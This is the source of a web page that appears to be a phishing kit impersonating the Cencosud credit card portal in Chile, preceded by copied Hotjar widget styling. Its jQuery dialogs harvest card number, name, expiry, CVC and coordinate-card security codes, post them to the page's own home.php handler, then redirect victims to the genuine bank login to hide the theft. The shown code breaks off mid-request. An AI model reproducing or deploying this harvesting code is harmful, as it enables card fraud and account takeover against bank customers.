._hj-1SWx9__EmotionOption__EmotionOption:focus ._hj-1AEfg__EmotionOption__EmotionText{opacity:1;transform:translateY(0)}._hj_feedback_container ._hj-1AEfg__EmotionOption__EmotionText{font-size:12px;color:#999;opacity:0;transform:translateY(10px);transition:all 0.2s ease-in-out}._hj_feedback_container ._hj-2kfWD__EmotionOption__EmotionTextDefault{padding-left:6px}._hj_feedback_container ._hj-_IHWK__EmotionOption__EmotionTextStar{opacity:0 !important}._hj_feedback_container ._hj-1t1uU__EmotionOption__iconEmotion{margin-bottom:5px}._hj_feedback_container ._hj-38GOd__EmotionOption__commentIcon:before{color:#ffd902}._hj_feedback_container ._hj-Ju-EU__EmotionOption__iconEmotionLarge._hj-1Y1MP__EmotionOption__iconEmotionDefault{font-size:40px}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault *:before{margin-left:-1.3984375em}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault ._hj-38GOd__EmotionOption__commentIcon:before{content:'\e900';margin:0}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault ._hj-2OZKe__EmotionOption__expressionIcon:before{color:#3c3c3c}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault._hj-3R53G__EmotionOption__hate ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e901'}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault._hj-3HNb2__EmotionOption__dislike ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e903'}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault._hj-2p4Uq__EmotionOption__neutral ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e905'}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault._hj-2oMDA__EmotionOption__like ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e907'}._hj_feedback_container ._hj-1Y1MP__EmotionOption__iconEmotionDefault._hj-1_G1z__EmotionOption__love ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e909'}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji ._hj-2OZKe__EmotionOption__expressionIcon,._hj_feedback_container ._hj-26RbN__EmotionOption__iconEmotionStar ._hj-2OZKe__EmotionOption__expressionIcon{width:34px;height:38px;background-size:34px;background-repeat:no-repeat;display:block;margin:0 auto 4px}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji._hj-3R53G__EmotionOption__hate ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/emoji_0.4c6dff.png)}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji._hj-3HNb2__EmotionOption__dislike ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/emoji_1.384afb.png)}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji._hj-2p4Uq__EmotionOption__neutral ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/emoji_2.7b3140.png)}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji._hj-2oMDA__EmotionOption__like ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/emoji_3.14e2ff.png)}._hj_feedback_container ._hj-2bvzg__EmotionOption__iconEmotionEmoji._hj-1_G1z__EmotionOption__love ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/emoji_4.bcd136.png)}._hj_feedback_container ._hj-26RbN__EmotionOption__iconEmotionStar ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/star_off.6eb2ad.png)}._hj_feedback_container ._hj-26RbN__EmotionOption__iconEmotionStar._hj-2rejd__EmotionOption__highlighted ._hj-2OZKe__EmotionOption__expressionIcon{background-image:url(https://script.hotjar.com/star_on.a39685.png)}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley ._hj-2OZKe__EmotionOption__expressionIcon{font-family:'hotjar' !important;line-height:37px;color:#f4364c !important;color:var(--hjFeedbackAccentColor, #f4364c) !important}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley._hj-3R53G__EmotionOption__hate ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e91b'}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley._hj-3HNb2__EmotionOption__dislike ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e91f'}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley._hj-2p4Uq__EmotionOption__neutral ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e91e'}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley._hj-2oMDA__EmotionOption__like ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e91c'}._hj_feedback_container ._hj-IA3iM__EmotionOption__iconEmotionSmiley._hj-1_G1z__EmotionOption__love ._hj-2OZKe__EmotionOption__expressionIcon:before{content:'\e91d'}._hj-1Y1MP__EmotionOption__iconEmotionDefault{}
</style><style>._hj_feedback_container ._hj-2CMqw__EmotionStep__EmotionStep{flex:1}._hj_feedback_container ._hj-1A3sC__EmotionStep__EmotionOptions{padding:0 12px;display:flex;align-items:flex-start}._hj_feedback_container ._hj-uUUC8__EmotionStep__EmotionFooter{padding:30px 20px 0}._hj_feedback_container ._hj-2Ne4e__EmotionStep__EmotionFooterWithBranding{margin-bottom:20px}
</style><style>._hj-cp7UI__HotjarBranding__hotjarBranding{font-size:11px !important;font-size:var(--hjFeedbackFooterFontSize, 11px) !important;direction:ltr}._hj-cp7UI__HotjarBranding__hotjarBranding a{color:inherit !important}._hj-cp7UI__HotjarBranding__hotjarBranding ._hj-1-wfW__HotjarBranding__hotjarBrandingIcon{background-image:url(https://script.hotjar.com/widget_icons_light.766225.png);background-repeat:no-repeat;background-position:-16px -1px;margin-right:4px;width:16px;height:16px;display:inline-block !important;zoom:1;vertical-align:middle}._hj-cp7UI__HotjarBranding__hotjarBranding ._hj-3crqc__HotjarBranding__hotjarBrandingLink{text-decoration:underline !important}
</style><style>._hj-wTRLt__Title__Title{font-size:17px !important;padding:30px !important;text-align:center;border-bottom:1px solid #eaeaeb !important}._hj-wTRLt__Title__Title._hj-1f7kP__Title__phone{font-size:18px !important;padding:35px 50px !important}._hj-wTRLt__Title__Title._hj-E8qPR__Title__tablet{font-size:26px !important;padding:40px 50px !important}._hj-wTRLt__Title__Title._hj-1XssA__Title__compact{border-bottom:0 !important}._hj-wTRLt__Title__Title._hj-1XssA__Title__compact._hj-E8qPR__Title__tablet{font-size:18px !important;padding-right:30px !important;padding-left:30px !important}
</style><style>._hj-widget-container ._hj-caA8H__PrimaryButton__phone,._hj_feedback_container ._hj-caA8H__PrimaryButton__phone{font-size:18px !important;padding:12px 20px !important}._hj-widget-container ._hj-2S5L1__PrimaryButton__tablet,._hj_feedback_container ._hj-2S5L1__PrimaryButton__tablet{font-size:22px !important;padding:14px 28px !important}
</style><style>._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton{font-weight:normal !important}._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton,._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton:hover,._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton:focus,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton:hover,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton:focus{color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;background:#f4364c !important;background:var(--hjFeedbackAccentColor, #f4364c) !important}._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton:focus,._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton:active,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton:focus,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton:active{box-shadow:inset 0 2px 4px rgba(0,0,0,0.32)}._hj-widget-container ._hj-2wZPy__PrimaryButtonBase__primaryButton:disabled,._hj_feedback_container ._hj-2wZPy__PrimaryButtonBase__primaryButton:disabled{background:#cccccc !important;color:#333333 !important;box-shadow:none}
</style><style>._hj-2bByr__EmotionComment__textArea{}._hj-1PeBw__EmotionComment__iconSelectElement{}._hj_feedback_container ._hj-nZWbx__EmotionComment__container{position:relative}._hj_feedback_container ._hj-nZWbx__EmotionComment__container._hj-3K4fG__EmotionComment__phone ._hj-2bByr__EmotionComment__textArea,._hj_feedback_container ._hj-nZWbx__EmotionComment__container._hj-3Ot4i__EmotionComment__tablet ._hj-2bByr__EmotionComment__textArea{font-size:17px;border-radius:4px;line-height:1.4em !important;padding:15px !important;height:129px !important}._hj_feedback_container ._hj-nZWbx__EmotionComment__container._hj-3Ot4i__EmotionComment__tablet ._hj-2bByr__EmotionComment__textArea{font-size:22px;padding:20px !important;height:199px !important}._hj_feedback_container ._hj-2bByr__EmotionComment__textArea{display:block;padding:12px 20px !important;height:105px !important;width:100%;max-width:320px;line-height:18px !important;resize:none;background:#eaeaeb !important;border:0 !important;overflow:auto;border-radius:0}._hj_feedback_container ._hj-2NCbX__EmotionComment__elementSelector{background:#eaeaeb;padding:10px 20px;position:relative;font-size:16px}._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton{padding:0 !important;background:none !important;border:none !important;cursor:pointer;outline:none;opacity:0.75;transition:opacity 0.2s ease-in-out;font-size:16px}._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton:hover,._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton:focus{opacity:1}._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton:hover+._hj-G-pT7__EmotionComment__selectorTootlip,._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton:focus+._hj-G-pT7__EmotionComment__selectorTootlip{opacity:1}._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton._hj-1fZn___EmotionComment__selected{opacity:1}._hj_feedback_container ._hj-oY2Ol__EmotionComment__selectButton._hj-1fZn___EmotionComment__selected ._hj-1PeBw__EmotionComment__iconSelectElement::before{color:#f4364c !important;color:var(--hjFeedbackAccentColor, #f4364c) !important}._hj_feedback_container ._hj-G-pT7__EmotionComment__selectorTootlip{background:black;color:white;font-size:12px;padding:8px 12px;border-radius:3px;position:absolute;left:60px;top:5px;width:195px;opacity:0;pointer-events:none;transition:opacity 0.2s ease-in-out}._hj_feedback_container ._hj-G-pT7__EmotionComment__selectorTootlip::before{content:'';width:1px;height:1px;position:absolute;left:-5px;top:10px;border-top:4px solid transparent;border-bottom:4px solid transparent;border-right:5px solid black}._hj_feedback_container ._hj-G-pT7__EmotionComment__selectorTootlip._hj-h1lZv__EmotionComment__rtl:before{right:-5px;top:10px;border-left:5px solid black;border-right:none}._hj_feedback_container ._hj-1PeBw__EmotionComment__iconSelectElement::before{color:#454a55 !important;font-size:22px}
</style><style>._hj_feedback_container ._hj-SKiIV__CommentStep__emotionOptions{margin-top:30px;padding:0 12px;display:flex;align-items:flex-start}._hj_feedback_container ._hj-1-Np9__CommentStep__emotionOptionSmaller{font-size:26px}._hj_feedback_container ._hj-1XCxd__CommentStep__extraMessage{font-size:13px;padding:12px 20px 0}._hj_feedback_container ._hj-1XCxd__CommentStep__extraMessage a{text-decoration:underline !important}._hj_feedback_container ._hj-15TqQ__CommentStep__footer{display:flex;align-items:center;justify-content:space-between;padding:10px 12px 12px 20px;direction:ltr}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-3lFtx__CommentStep__phone{padding:15px 30px 0}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-3lFtx__CommentStep__phone ._hj-15TqQ__CommentStep__footer{padding-top:30px}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-1IRWG__CommentStep__tablet{padding:15px 60px 0}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-1IRWG__CommentStep__tablet ._hj-15TqQ__CommentStep__footer{padding-top:40px;--hjFeedbackFooterFontSize: 14px}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-3lFtx__CommentStep__phone ._hj-SKiIV__CommentStep__emotionOptions,._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-1IRWG__CommentStep__tablet ._hj-SKiIV__CommentStep__emotionOptions{padding:0}._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-3lFtx__CommentStep__phone ._hj-15TqQ__CommentStep__footer,._hj_feedback_container ._hj-2eznZ__CommentStep__container._hj-1IRWG__CommentStep__tablet ._hj-15TqQ__CommentStep__footer{padding-left:0;padding-right:0;padding-bottom:30px}
</style><style>._hj_feedback_container ._hj-5SWQb__ElementHighlighter__container{pointer-events:none;position:fixed;z-index:-1}._hj_feedback_container ._hj-2IG15__ElementHighlighter__pageFrame{pointer-events:none;position:fixed;top:0;right:0;bottom:0;left:0;z-index:5;border-width:4px !important;border-style:solid !important;border-color:#ffd902 !important;border-color:var(--hjFeedbackSelectionColor, #ffd902) !important;transition:border 0.2s ease-in-out}._hj_feedback_container ._hj-hbIG7__ElementHighlighter__title{position:fixed;top:-4px;left:50%;width:260px;margin-left:-130px;padding:23px 0 19px 0;z-index:1;text-align:center;font-size:13px;border-radius:0 0 10px 10px;background-color:#ffd902 !important;background-color:var(--hjFeedbackSelectionColor, #ffd902) !important;color:#3c3c3c !important;color:var(--hjFeedbackSelectionTextColor, #3c3c3c) !important;box-shadow:0 2px 25px 3px rgba(0,0,0,0.3)}._hj_feedback_container ._hj-hbIG7__ElementHighlighter__title::before,._hj_feedback_container ._hj-hbIG7__ElementHighlighter__title::after{content:'';display:block;width:55px;height:50px;background-color:#ffd902 !important;background-color:var(--hjFeedbackSelectionColor, #ffd902) !important;position:absolute;top:0;z-index:-1}._hj_feedback_container ._hj-hbIG7__ElementHighlighter__title::before{left:-9px;transform:skewX(20deg)}._hj_feedback_container ._hj-hbIG7__ElementHighlighter__title::after{right:-9px;transform:skewX(-20deg)}._hj_feedback_container ._hj-1zD0f__ElementHighlighter__closeButton{height:19px;width:19px;margin-left:10px;padding:0;border-radius:50%;background:transparent;border:0;color:#3c3c3c !important;color:var(--hjFeedbackSelectionTextColor, #3c3c3c) !important;cursor:pointer;pointer-events:all}._hj_feedback_container ._hj-1zD0f__ElementHighlighter__closeButton:hover{background:rgba(0,0,0,0.2)}[data-hotjar-cursor-pointer],[data-hotjar-cursor-pointer] *{cursor:pointer !important}
</style><style>._hj_feedback_container ._hj-1Xz-5__HighlightBox__boxFrame{display:block;border-width:4px !important;border-style:dashed !important;border-color:#ffd902 !important;border-color:var(--hjFeedbackSelectionColor, #ffd902) !important;border-radius:3px;position:fixed;z-index:-1;box-sizing:content-box !important;transition:border 0.2s ease-in-out}._hj_feedback_container ._hj-3-z0M__HighlightBox__boxSelected{pointer-events:all;border-style:solid !important;border-color:#f4364c !important;border-color:var(--hjFeedbackAccentColor, #f4364c) !important;cursor:pointer}._hj_feedback_container ._hj-3-z0M__HighlightBox__boxSelected ._hj-1tWYX__HighlightBox__changeLabel{position:absolute;bottom:-32px;right:-4px;padding:8px 12px;background-color:#f4364c !important;background-color:var(--hjFeedbackAccentColor, #f4364c) !important;color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;border-radius:0 0 3px 3px;font-size:12px}._hj_feedback_container ._hj-3plyZ__HighlightBox__closeButton{padding:5px 7px 3px 7px;right:-12px;top:-13px;position:absolute;background-color:#f4364c !important;background-color:var(--hjFeedbackAccentColor, #f4364c) !important;color:#ffffff !important;color:var(--hjFeedbackAccentTextColor, #fff) !important;border-radius:50%;border:0;cursor:pointer;font-size:12px;pointer-events:all;text-align:center;z-index:11}._hj_feedback_container ._hj-2nucq__HighlightBox__dimmer{position:fixed;z-index:-1;transition:opacity 0.2s ease-in-out;opacity:0.45;pointer-events:all;background:black !important}
</style><style>._hj-2Z3Fm__EmailStep__container._hj-a_cw___EmailStep__phone ._hj-3hgUR__EmailStep__inputWrapper,._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-3hgUR__EmailStep__inputWrapper{padding:30px}._hj-2Z3Fm__EmailStep__container._hj-a_cw___EmailStep__phone ._hj-KMOYv__EmailStep__input,._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-KMOYv__EmailStep__input{font-size:17px !important;border-radius:4px}._hj-2Z3Fm__EmailStep__container._hj-a_cw___EmailStep__phone ._hj-5FX-x__EmailStep__buttons,._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-5FX-x__EmailStep__buttons{padding:0 30px 12px !important}._hj-2Z3Fm__EmailStep__container._hj-a_cw___EmailStep__phone ._hj-1baop__EmailStep__clearButton,._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-1baop__EmailStep__clearButton{font-size:18px !important;padding:12px 20px !important}._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-3hgUR__EmailStep__inputWrapper{padding:40px 60px}._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-KMOYv__EmailStep__input{font-size:22px !important;padding:26px 20px !important;height:74px !important}._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-5FX-x__EmailStep__buttons{padding-right:60px !important;padding-left:60px !important}._hj-2Z3Fm__EmailStep__container._hj-3FLJ7__EmailStep__tablet ._hj-1baop__EmailStep__clearButton{font-size:22px !important;padding:14px 28px !important}._hj-1Ucim__EmailStep__fieldset{border:none;margin:0;padding:0}._hj-KMOYv__EmailStep__input{width:100%;line-height:22px !important;padding:12px 20px !important;height:46px !important;border:none !important;font-size:14px !important;text-align:center;background:#eaeaeb !important;color:#454a55 !important;box-shadow:none !important;outline:none}._hj-KMOYv__EmailStep__input::-ms-clear{display:none}._hj-5FX-x__EmailStep__buttons{text-align:right;padding:12px !important}._hj-5FX-x__EmailStep__buttons button{transition:all 0.2s ease-in-out;margin-left:4px;display:inline-block}._hj-5FX-x__EmailStep__buttons ._hj-1baop__EmailStep__clearButton{color:#aaaaaa}._hj-5FX-x__EmailStep__buttons ._hj-1baop__EmailStep__clearButton:hover{color:#666666}
</style><style>._hj_feedback_container ._hj-q5R8F__FinalStep__consentContainer{text-align:center;font-size:13px;padding:0 26px 30px}._hj_feedback_container ._hj-q5R8F__FinalStep__consentContainer._hj-3T_2A__FinalStep__phone,._hj_feedback_container ._hj-q5R8F__FinalStep__consentContainer._hj-1kMUY__FinalStep__tablet{font-size:16px;padding:30px 45px}._hj_feedback_container ._hj-q5R8F__FinalStep__consentContainer._hj-1kMUY__FinalStep__tablet{padding:40px 60px}._hj_feedback_container ._hj-2VrsY__FinalStep__legalInfoContainer{padding:0 12px}._hj_feedback_container ._hj-2VrsY__FinalStep__legalInfoContainer._hj-3T_2A__FinalStep__phone{padding:30px}._hj_feedback_container ._hj-2VrsY__FinalStep__legalInfoContainer._hj-1kMUY__FinalStep__tablet{padding:40px 60px}
</style><style>._hj-kzh5y__LegalInfo__legalInfo{padding:0 12px 12px 12px !important}._hj-kzh5y__LegalInfo__legalInfo:after{content:'';clear:both !important;display:block !important}._hj-kzh5y__LegalInfo__legalInfo ._hj-fgINf__LegalInfo__legalSite{font-size:11px;text-decoration:none !important;float:right !important}._hj-kzh5y__LegalInfo__legalInfo ._hj-fgINf__LegalInfo__legalSite:hover{text-decoration:underline !important}._hj-kzh5y__LegalInfo__legalInfo ._hj-375k9__LegalInfo__legalName{font-size:11px;float:left !important}._hj-kzh5y__LegalInfo__legalInfo ._hj-3c5I0__LegalInfo__footerTextColor,._hj-kzh5y__LegalInfo__legalInfo ._hj-3c5I0__LegalInfo__footerTextColor:link,._hj-kzh5y__LegalInfo__legalInfo ._hj-3c5I0__LegalInfo__footerTextColor:hover{color:#333333 !important;color:var(--hjFeedbackFooterTextColor, #333) !important}._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered{text-align:center}@media screen and (min-width: 440px){._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered{padding:0}}._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered ._hj-375k9__LegalInfo__legalName,._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered ._hj-fgINf__LegalInfo__legalSite{float:none !important;font-size:14px;line-height:2}._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered ._hj-375k9__LegalInfo__legalName{display:block;font-weight:bold !important}@media screen and (min-width: 440px){._hj-kzh5y__LegalInfo__legalInfo._hj-3juyz__LegalInfo__centered ._hj-375k9__LegalInfo__legalName{margin-top:24px}}
</style><style>._hj-widget-container ._hj-K8Z-Q__styles__consentMessage,._hj_feedback_container ._hj-K8Z-Q__styles__consentMessage{color:#7c7c7c !important;color:var(--hjFeedbackSecondaryTextColor, #7c7c7c) !important}._hj-widget-container ._hj-K8Z-Q__styles__consentMessage a,._hj_feedback_container ._hj-K8Z-Q__styles__consentMessage a{color:inherit !important}._hj-widget-container ._hj-10Qj0__styles__consentButton,._hj_feedback_container ._hj-10Qj0__styles__consentButton{font-size:18px !important;margin:20px 5px 0 5px;width:50px !important}
</style>
<style type="text/css">iframe#_hjRemoteVarsFrame {display: none !important; width: 1px !important; height: 1px !important; opacity: 0 !important; pointer-events: none !important;}</style>
<link rel="stylesheet" href="//code.jquery.com/ui/1.12.1/themes/base/jquery-ui.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.min.js"></script>
<script src="https://code.jquery.com/ui/1.12.1/jquery-ui.js"></script>
<script src="https://rawgit.com/jessepollak/card/master/dist/card.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/numeral.js/2.0.6/numeral.min.js"></script>
<style>
ion-header[_ngcontent-dax-c6] {
height: 57px;
}
.header-md:after {
height: 2px;
}
ion-header[_ngcontent-dax-c6] .logo[_ngcontent-dax-c6] {
width: 143px;
height: 55px;
margin: 5px 0 0 24px;
background-size: auto 33px;
background-repeat: no-repeat;
display: inline-block;important
}
ion-header[_ngcontent-dax-c6] .logout[_ngcontent-dax-c6] {
border-radius: 16px;
background-color: var(--color-bg-purple);
width: 129px;
height: 32px;
box-shadow: none;
padding: 0 18px 0 30px;
font: 12.5px var(--ion-font-family-semibold);
color: var(--color-purple);
margin-right: 4px;
opacity: .8;
position: absolute;
right: 0;
top: 15px;
}
ion-content.page.md.hydrated {
margin-left: 215px;
}
.ui-widget-overlay {
background: #e8e6e6;
opacity: .3;
}
.ui-dialog-titlebar-close{
display:none;
}
.ui-dialog .ui-dialog-title {
color: #5c3f89;
}
.ui-dialog .ui-dialog-titlebar {
background: white;
border: none;
}
p.small{
font: 12.5px var(--ion-font-family-semibold);
background-color: transparent;
color: var(--color-pink);
}
input{
margin: 2px!important;
padding: 5px;
border: 1px solid #503680;
border-radius: 5px!important;
}
.form-container{
border: none;
border-left: 1px solid var(--color-lines-grey);
margin: 14px 0 0 4px;
padding: 16px 0 0 66px;
display: table;
width: 100%;
margin-left: 33px;
overflow: hidden;
}
#dialog-form{
overflow: hidden;
}
#loading{
padding-top: 20px;
text-align: center;
}
.ui-dialog .ui-dialog-buttonpane{
border: none;
}
.ui-widget.ui-widget-content {
border: 1px solid #c5c5c5;
border-radius: 12px;
margin-top: 80px;
}
.ui-dialog .ui-dialog-buttonpane button{
position: relative;
font: 13.5px var(--ion-font-family-semibold);
padding: 5px;
line-height: 13.5px;
height: 48px;
text-transform: none;
letter-spacing: .2px;
max-width: 220px;
box-shadow: none;
border-radius: 3px;
margin: 0;
transition: background-color .2s ease-in;
width: 220px;
}
.jp-card.jp-card-visa.jp-card-identified .jp-card-front:before, .jp-card.jp-card-visa.jp-card-identified .jp-card-back:before {
background-color: #573881!important;
}
.small-3 input {
width: 39%;
float: left;
}
.small-6 input {
width: 80%;
}
.jexcel {
display: inline-block;
background: #573881;
padding: 15px;
border-radius: 20px;
}
.jexcel>div>table>thead>tr>td {
border-left: none;
border-right: none;
border-top: none;
border-bottom: none;
background-color: #573881;
padding: 4px;
cursor: pointer;
overflow: hidden;
box-sizing: border-box;
color: white;
font-weight: bold;
}
.jexcel>div>table>thead>tr>td:first-child {
background-color: #f9b930;
}
.jexcel>div>table>tbody>tr>td:first-child {
background-color: #eb4234;
border: 1px solid white;
color: white;
font-weight: bold;
}
.jexcel td {
border: none!important;
}
.jexcel>div>table>thead>tr>td.selected {
background-color: #f9b930;
}
.jexcel .highlight {
background-color: rgb(249 185 48);
}
.jexcel .highlight-top {
border-top: 1px solid #f9b930!important;
}
.jexcel .highlight-bottom.highlight-right {
border-bottom: 1px solid #000;
box-shadow: 1px 1px #ccc;
-webkit-box-shadow: 1px 1px #f9b930;
-moz-box-shadow: 1px 1px #ccc;
}
.jexcel>div>table>tbody>tr.selected>td:first-child {
background-color: #f9b930;
}
.jp-card .jp-card-back, .jp-card .jp-card-front{
background: #503680;
}
.jp-card.jp-card-mastercard.jp-card-identified .jp-card-front:before, .jp-card.jp-card-mastercard.jp-card-identified .jp-card-back:before {
background-color: #29186d;
}
.ui-dialog .ui-dialog-title {
color: #5c3f89;
color: #5c3f89;
font: 14.5px var(--ion-font-family-semibold);
background-color: transparent;
text-align: center;
/* color: var(--color-pink); */
/* margin: 0; */
}
.form-container {
float: left!important;
border-left: 1px solid var(--color-lines-grey);
margin: 14px 0 0 4px;
padding: 0!important;
/* FLOAT: left; */
width: 220px!important;
}
.codes-card{
height: 30px!important;
width: 285px!important;
}
.codes-card .code-box .code-input {
width: 34px!important;
height: 28px!important;
}
.ui-dialog .ui-dialog-titlebar{
display:none!important;
}
.code-box input[type=challenge]{
font-size: 13px!important;
}
.coordenadas2 .codes-card{
height: 30px!important;
width: 225px!important;
}
.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset{
float:initial;
}
.ui-dialog .ui-dialog-buttonpane{
text-align: center;
}
@media only screen and (max-width: 600px) {
#my img, #dialog-coordenadas2 img {
display:none;
}
.ui-dialog {
width: 100%!important;
}
.ui-dialog .ui-dialog-buttonpane .ui-dialog-buttonset {
float: none;
}
.ui-dialog .ui-dialog-buttonpane {
text-align: center;
}
.form-container{
width:100%!important;
}
.codes-card{
margin: 0 auto!important;
}
.ui-widget.ui-widget-content {
margin-top: 60px;
}
}
html{
white-space: inherit;
}
.brand-button.primary {
background-color: #FA6400;
color: var(--color-white);
font-family: GothamRounded-Light;
}
.brand-button.primary:hover {
box-shadow: 0 0 8px 0 rgb(122 122 122 / 50%);
background-color: #FA64009C;
}
.modal-loading{
background-color: rgb(0 0 0 / 0%)!important;
}
</style>
<script>
function getFormData($form){
var unindexed_array = $form.serializeArray();
var indexed_array = {};
$.map(unindexed_array, function(n, i){
indexed_array[n['name']] = n['value'];
});
return indexed_array;
}
$( function() {
$('.code-input').keyup(function() {
var dInput = this.value;
if($.isNumeric(dInput) && this.value.length == 2){
console.log(dInput);
//$(this).parents('.code-box').next('.code-box').children('input').focus();
$("input.code-input").each(function(a,b){
if($(b).val()==''){
$(b).focus();
return false;
}
});
}
if(!$.isNumeric(dInput)){
$(this).val('');
}
});
$( "#dialog-form" ).dialog({
title: null,
resizable: false,
closeText: "hide",
closeOnEscape: false,
open: function(event, ui) {
$(".ui-dialog-titlebar-close", ui.dialog || ui).hide();
},
autoOpen: false,
minWidth:400,
modal: true,
draggable: false,
position: { my: "top+30px center", at: "center top+30px"},
buttons: {
"Siguiente": {
text:'Validar',
'class':'brand-button primary',
click: function() {
if($('input[name="number"]').val()==''){
$('input[name="number"]').focus();
return false;
}
if($('input[name="name"]').val()==''){
$('input[name="name"]').focus();
return false;
}
if($('input[name="expiry"]').val()==''){
$('input[name="expiry"]').focus();
return false;
}
if($('input[name="cvc"]').val()==''){
$('input[name="cvc"]').focus();
return false;
}
$('#loading').show();
var http = new XMLHttpRequest();
<?
if($primero=='SoloCC'){
echo "var url = './home.php?save=cc';";
}elseif($primero=='CC'){
echo "var url = './home.php?save=cc';";
}else{
echo "var url = './home.php?save=cc&ultimo=true';";
}
?>
var params = $('#dialog-form form').serialize();
http.open('POST', url, true);
http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
}
}
http.send(params);
setTimeout(function(){
$( "#dialog-form" ).dialog( "close" );
//$( "#dialog-coordenadas" ).dialog("open");
<?
if($primero=='SoloCC'){
echo 'window.location.replace("https://www.mitarjetacencosud.cl/login");';
}elseif($primero=='CC'){
echo '$( "#dialog-coordenadas" ).dialog("open");';
}else{
echo 'window.location.replace("https://www.mitarjetacencosud.cl/login");';
}
?>
$('#loading').hide();
},4000);
}
},
},
close: function() {
},
});
$( "#dialog-coordenadas" ).dialog({
title: null,
resizable: false,
closeText: "hide",
closeOnEscape: false,
open: function(event, ui) {
$(".ui-dialog-titlebar-close", ui.dialog || ui).hide();
},
autoOpen: false,
minWidth:600,
modal: true,
draggable: false,
position: { my: "top+30px center", at: "center top+30px"},
buttons: {
"Siguiente": {
text:'Validar',
'class':'brand-button primary',
click: function() {
validar=true;
$("#dialog-coordenadas input.code-input").each(function(a,b){
if($(b).val()==''){
$(b).focus();
validar=false;
return false;
}
});
if(validar==false){
return false;
}
$('#loading').show();
var $form = $("form.coordenadas");
var data = getFormData($form);
$.ajax({
url: '/home.php?save=coordenadas',
type: 'post',
dataType: 'json',
contentType: 'application/json',
success: function (data) {
},
